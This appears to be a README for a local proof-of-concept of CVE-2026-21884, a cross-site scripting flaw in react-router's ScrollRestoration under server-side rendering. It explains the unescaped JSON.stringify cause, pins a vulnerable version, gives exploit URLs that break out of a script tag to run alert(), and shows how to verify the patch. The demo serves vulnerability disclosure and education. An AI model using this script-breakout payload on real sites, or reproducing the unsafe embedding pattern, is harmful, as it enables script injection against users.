Educational security research demo. Run locally only.
| Field | Detail |
|---|---|
| CVE | CVE-2026-21884 |
| Severity | HIGH (XSS) |
| Package | react-router-dom / react-router |
| Affected versions | 7.0.0 – 7.12.0-pre.0 |
| Fixed in | 7.13.x+ |
| Component | <ScrollRestoration storageKey={...} getKey={...}> |
| Context | Framework Mode SSR (Server-Side Rendering) |
During SSR, ScrollRestoration embeds storageKey into an inline <script> tag using JSON.stringify(). Standard JSON.stringify() does not escape the </ sequence, so a storageKey containing </script> causes the HTML parser to close the script tag prematurely, allowing injection of arbitrary JavaScript.
// ScrollRestoration SSR render path
dangerouslySetInnerHTML: {
__html: `(${restoreScroll})(${JSON.stringify(
storageKey || SCROLL_RESTORATION_STORAGE_KEY // ← NOT HTML-safe
)}, ${JSON.stringify(ssrKey)})`
}JSON.stringify("</script>") → "</script>" (no escaping of </)
<script>
((storageKey2, restoreKey) => { ... })("</script><script>alert('XSS')</script><script>", null)
</script>The browser's HTML parser closes <script> at the first </script>, then evaluates alert('XSS').
.
├── server.mjs # Express + Vite SSR server (the vulnerable endpoint)
├── index.html # Info dashboard (/)
├── src/
│ ├── App.jsx # React component with <ScrollRestoration storageKey={...}>
│ ├── entry-server.jsx # SSR render entry (uses createStaticRouter)
│ └── main.jsx # Client hydration entry
├── vite.config.js
└── package.json # react-router-dom pinned to 7.0.0 (vulnerable)
npm install
npm run devServer starts at http://localhost:3000
http://localhost:3000/exploit?key=</script><script>alert('XSS: CVE-2026-21884')</script><script>
URL-encoded:
http://localhost:3000/exploit?key=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS%3A+CVE-2026-21884%27%29%3C%2Fscript%3E%3Cscript%3E
http://localhost:3000/exploit?key=harmless-key
View page source → look for the <script> tag from ScrollRestoration.
After confirming the exploit works, upgrade to the patched version:
npm install react-router-dom@latest react-router@latest
npm run dev
# Replay the same exploit URLs — alert() should NOT fireThe fix applies proper HTML escaping (\u003c, \u003e, \u002f) to the
JSON.stringify() output before embedding it in the inline script.
packages/react-router/lib/dom/lib.tsx—ScrollRestoration()function